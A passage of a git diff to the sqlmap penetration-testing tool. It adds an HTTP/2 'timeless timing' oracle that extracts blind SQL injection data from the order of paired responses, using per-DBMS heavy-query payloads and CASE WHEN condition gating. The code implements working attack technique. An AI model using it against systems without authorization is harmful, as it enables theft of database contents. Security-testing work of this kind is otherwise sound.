diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 36d2773ef44..8a985ea4191 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1633,3 +1633,5 @@ YEAR ORD MID +TOP +ROWNUM diff --git a/lib/controller/action.py b/lib/controller/action.py index 8fe73ebf5a6..cb38e91ce4a 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -31,6 +31,15 @@ def action(): if possible """ + # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage + # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all + # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op + # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's. + from lib.request import timeless + timeless.disengage() + if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable + timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits + # First of all we have to identify the back-end database management # system to be able to go ahead with the injection # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error diff --git a/lib/core/option.py b/lib/core/option.py index 2456428bd0f..920d4d95c25 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2330,6 +2330,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f9db8437127..93e929845e3 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -128,6 +128,7 @@ "oobServer": "string", "oobToken": "string", "timeSec": "integer", + "timeless": "boolean", "uCols": "string", "uChar": "string", "uFrom": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index bfef1ebda1d..c7165b0d3c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.34" +VERSION = "1.10.7.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5a350e47aa1..64ac6319f90 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -424,6 +424,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", help="Disable the statistical model for detecting the delay") + techniques.add_argument("--timeless", dest="timeless", action="store_true", + help="Use HTTP/2 timeless timing (faster, no delay)") + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") diff --git a/lib/request/connect.py b/lib/request/connect.py index f3fc14ba95f..f148d9358c0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -634,6 +634,12 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) + # Build-only capture: return the fully-assembled request instead of sending it, so the + # HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a + # single multiplexed pair rather than issue them as independent single-stream requests. + if kwargs.get("buildOnly"): + return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post) + if conf.http2: from lib.request.http2 import open_url as http2OpenUrl @@ -1029,7 +1035,7 @@ class _(dict): @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -1039,6 +1045,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.direct: return direct(value, content) + # Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it, + # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. + timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + get = None post = None cookie = None @@ -1515,6 +1525,22 @@ def _randomizeParameter(paramString, randomParameter): elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector + # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 + # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and + # it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly + # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. + if timeBasedCompare and kb.get("timeless") is not None: + from lib.request.timeless import negatePayload + # Build the condition and negation requests through the SAME path (queryPage buildOnly on the + # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond + # from the already-placed uri/get/post while neg goes through fresh placement would make them + # non-corresponding and flip the order. + negValue = negatePayload(timelessOrigValue) + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None + return kb.timeless.readBitFromSpecs(condSpec, negSpec) + if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() @@ -1592,6 +1618,12 @@ def _randomizeParameter(paramString, randomParameter): finally: kb.pageCompress = popValue() + # Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request + # (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one + # multiplexed HTTP/2 pair (lib/request/timeless.py). + if buildOnly: + return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True) + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) diff --git a/lib/request/http2.py b/lib/request/http2.py index c885f75cfb6..17c768068c8 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -453,7 +453,12 @@ def __init__(self, host, port, proxy, timeout): self.usable = True ctx = ssl._create_unverified_context() ctx.set_alpn_protocols(["h2"]) - self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + raw = _connect_socket(host, port, proxy, timeout) + try: + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered + except (OSError, socket.error): + pass + self.sock = ctx.wrap_socket(raw, server_hostname=host) try: if self.sock.selected_alpn_protocol() != "h2": raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) @@ -540,6 +545,89 @@ def exchange(self, method, path, authority, headers, body, timeout): break return status, resp_headers, bytes(resp_body) + def exchange_pair(self, requests, timeout): + """Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests + multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach + END_STREAM, recording the order in which they finished. Because both requests ride the same + packet on the same connection, network jitter hits them equally and cancels - only the server's + relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side + delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve. + + `requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns + (finish_order, results) where finish_order is the list of stream ids in completion order and + results maps sid -> (status, headers, body). Requires the server to process the two streams + CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe).""" + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + self.sock.settimeout(timeout) + + sids, out = [], b"" + for r in requests: + sid = self.next_sid + self.next_sid += 2 + sids.append(sid) + req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"), + (b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))] + for k, v in (r.get("headers") or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + body = r.get("body") + out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req)) + if body: + out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)) + if self.next_sid >= BIG_WINDOW: + self.usable = False + self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival + + state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids) + finish_order = [] + remaining = set(sids) + while remaining: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + self.usable = False + raise IOError("GOAWAY during timeless pair") + elif ftype == RST_STREAM and fsid in state: + self.usable = False + raise IOError("stream reset during timeless pair") + elif ftype in (HEADERS, CONTINUATION) and fsid in state: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + state[fsid]["hb"] += p + if flags & FLAG_END_HEADERS: + state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + elif ftype == DATA and fsid in state: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + state[fsid]["body"] += p + if payload: + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + + results = {} + for sid in sids: + status = None + for n, v in (state[sid]["headers"] or []): + if _tob(n) == b":status": + status = int(v); break + results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"])) + return finish_order, results + + # Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model # (one connection per host per thread) so streams never interleave across threads and time-based # measurements stay clean. diff --git a/lib/request/timeless.py b/lib/request/timeless.py new file mode 100644 index 00000000000..39f49615344 --- /dev/null +++ b/lib/request/timeless.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single +# TCP write and multiplexed on one connection; because they share the packet and the path, network +# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects +# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be +# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the +# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. +# +# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing +# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable +# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. + +import threading + +from lib.core.enums import DBMS +from lib.request.http2 import _H2Connection + +# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. +_engageLock = threading.Lock() + + +def buildConditionPair(condition, heavy, cheap="0"): + """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. + 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB + do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work + iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order + names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid + booleans (>=0 always holds) so they never change the page, keeping the channel blind. + + `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); + `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying + on optimiser short-circuit. + + >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") + >>> c + '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' + >>> n + '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' + """ + condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) + negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) + return condExpr, negExpr + + +def _pairOrder(conn, reqA, reqB, timeout): + """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two + stream ids in send order (reqA got the lower id).""" + order, _results = conn.exchange_pair([reqA, reqB], timeout) + loSid = conn.next_sid - 4 + hiSid = conn.next_sid - 2 + return order[0], loSid, hiSid + + +def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): + """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is + ambiguous (load-degraded). + + reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the + condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes + LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) + and counts how often reqCond finished last: + - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 + - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 + - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run + heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past + the end - CockroachDB - both requests error and it is a ~0.5 coin flip). + Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and + CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom + trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. + --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was + single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep + voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a + lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query + time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" + condLast, i = 0, 0 + cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + while True: + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) + condSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) + condSid = hiSid + if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE + condLast += 1 + i += 1 + if i < votes: # gather a minimum sample before deciding + continue + fraction = condLast / float(i) + if fraction >= 0.8: + return True + if fraction <= 0.5: + return False + if i >= cap: # still ambiguous after escalating -> decide by the same threshold + return fraction >= 0.8 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): + """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair + (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent + backend the slow request finishes last regardless of its id. Returns (usable, confidence) where + confidence is the fraction of trials in which the slow request finished last. Below `threshold` the + backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if + given, is called once per trial so the caller can stream a progress indicator.""" + slowLast = 0 + for i in range(trials): + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) + slowSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) + slowSid = hiSid + if first != slowSid: + slowLast += 1 + if progress is not None: + progress() + confidence = slowLast / float(trials) if trials else 0.0 + return (confidence >= threshold), confidence + + +def connect(host, port=443, proxy=None, timeout=30): + """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so + its multiplexed pairs never interleave with ordinary single-stream traffic).""" + return _H2Connection(host, port, proxy, timeout) + + +class TimelessOracle(object): + """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every + boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the + already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy + reference and reads the bit from response order. This reuses the entire bisection/inference/threading + stack unchanged - bisection just calls queryPage and gets a bool. + + Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py + and the http2 pool - streams from different threads never interleave on one socket, so parallel + per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an + immutable spec-derived dict, so it is shared read-only across threads.""" + + def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + self.host, self.port, self.proxy = host, port, proxy + self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) + self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded + self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); + # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.timeout = timeout + self._local = threading.local() + self._conns = [] # every opened connection, for clean teardown + self._lock = threading.Lock() + self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self.savedVector = None + + def _conn(self): + conn = getattr(self._local, "conn", None) + if conn is None or not conn.usable: + conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + self._conns.append(conn) + return conn + + def readBitFromSpecs(self, condSpec, negSpec=None): + """Read the bit from the assembled condition request and, when available, its negation. With a + negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it + stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The + asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not + be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + (url, method, headers, post) tuples from getPage(buildOnly=True).""" + reqCond = _specToReq(condSpec, self.host) + if negSpec is not None: + return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) + + def close(self): + with self._lock: + for conn in self._conns: + try: + conn.close() + except Exception: + pass + self._conns = [] + + +def engage(host, port, vector, proxy=None, timeout=30): + """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread + TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up + automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). + The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + from lib.core.data import kb + + refReq = _forgeRequest("1=1", host, vector) + kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) + return kb.timeless + + +def disengage(): + """Tear down the timeless oracle and close all per-thread connections.""" + from lib.core.data import kb + + oracle = kb.get("timeless") + if oracle is not None: + if oracle.savedTechnique is not None: + try: + from lib.core.common import getTechniqueData + getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector + except Exception: + pass + oracle.close() + kb.timeless = None + + +def hintTimeless(): + """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user + did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. + Only fires when time-based is the channel that will actually be used (no faster in-band option) so the + hint is never noise. Purely advisory, never raises, at most one message per run.""" + from lib.core.data import conf, kb + from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage + from lib.core.enums import PAYLOAD + + try: + if conf.get("timeless") or kb.get("timelessHinted"): + return + kb.timelessHinted = True + + # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) + if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + return + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): + return + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + return + + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' + conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + conn.close() + singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " + "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") + except Exception: + pass + + +def autoEngage(): + """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by + action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). + Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a + light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable + (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" + from lib.core.data import conf, kb, logger + from lib.core.common import Backend + + with _engageLock: + if kb.get("timeless") is not None: + return True + return _doAutoEngage(conf, kb, logger, Backend) + + +def _doAutoEngage(conf, kb, logger, Backend): + try: + if not conf.get("timeless"): + return False + + # Never during detection - that phase confirms the vuln (and runs the false-positive check) by + # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout + # detection and False once extraction begins. + if kb.get("testMode"): + return False + + # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose + # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. + from lib.core.enums import PAYLOAD + from lib.core.settings import INFERENCE_MARKER + timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None + if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): + return False + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") + return False + + host, port = parts.hostname, parts.port or 443 + dbms = Backend.getIdentifiedDbms() + if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: + logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) + return False + + # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order + # reliability and tune the work size - that is the pause the user sees before engagement. Announce + # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". + import time as _time + from lib.core.common import dataToStdout + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) + probe = connect(host, port, None, conf.timeout or 30) + # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand + # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). + loadFactor = max(1, conf.threads or 1) + try: + vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + finally: + probe.close() + dataToStdout(" (done)\n") + + if not vector: + logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) + return False + + oracle = engage(host, port, vector, timeout=conf.timeout or 30) + # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold + # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target + # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) + oracle.votes = 5 if confidence >= 1.0 else 9 + + # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned + # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request + # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on + # disengage(). + oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME + oracle.savedVector = timeData.vector + timeData.vector = vector + + logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) + return True + except Exception as ex: + from lib.core.common import getSafeExString + logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) + return False + + +# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same +# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. +_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", + "transfer-encoding", "upgrade", "content-length")) + + +def _specToReq(spec, fallbackAuthority): + """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into + the request dict exchange_pair expects.""" + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + + url, method, headers, post = spec + parts = urlsplit(url) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + reqHeaders = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in _FORBIDDEN_HEADERS: + reqHeaders[key] = headers[key] + return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), + "headers": reqHeaders, "body": post} + + +def getHeavyVector(dbms=None): + """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), + reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN + ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no + SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" + from lib.core.data import conf + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + if not dbms: + return None + + andVector = orVector = None + for test in (conf.tests or []): + title = (test.get("title") or "") + if "heavy query" not in title.lower(): + continue + testDbms = ((test.get("details") or {}).get("dbms")) or "" + testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + # tolerate combined labels like "Microsoft SQL Server/Sybase" + if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): + continue + vector = (test.get("vector") or "").strip() + # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. + if vector.upper().startswith("AND "): + andVector = andVector or vector + elif vector.upper().startswith("OR "): + orVector = orVector or vector + return andVector or orVector + + +# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for +# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - +# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's +# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a +# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That +# self-tunes to the lightest payload that works - fast, and never allocates a huge blob. +# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of +# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork +# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. +# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan +# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. +# +# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS +# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), +# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. +# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never +# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. +# +# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so +# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN +# () ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. +# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on +# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when +# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung +# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only +# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of +# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. +# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a +# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS +# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). +_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) +_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) + +LIGHT_HEAVY = { + DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series + DBMS.MYSQL: _LH_MYSQL, + DBMS.MSSQL: _LH_MSSQL, + DBMS.SYBASE: _LH_MSSQL, + DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", + # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) + DBMS.SQLITE: "(SELECT 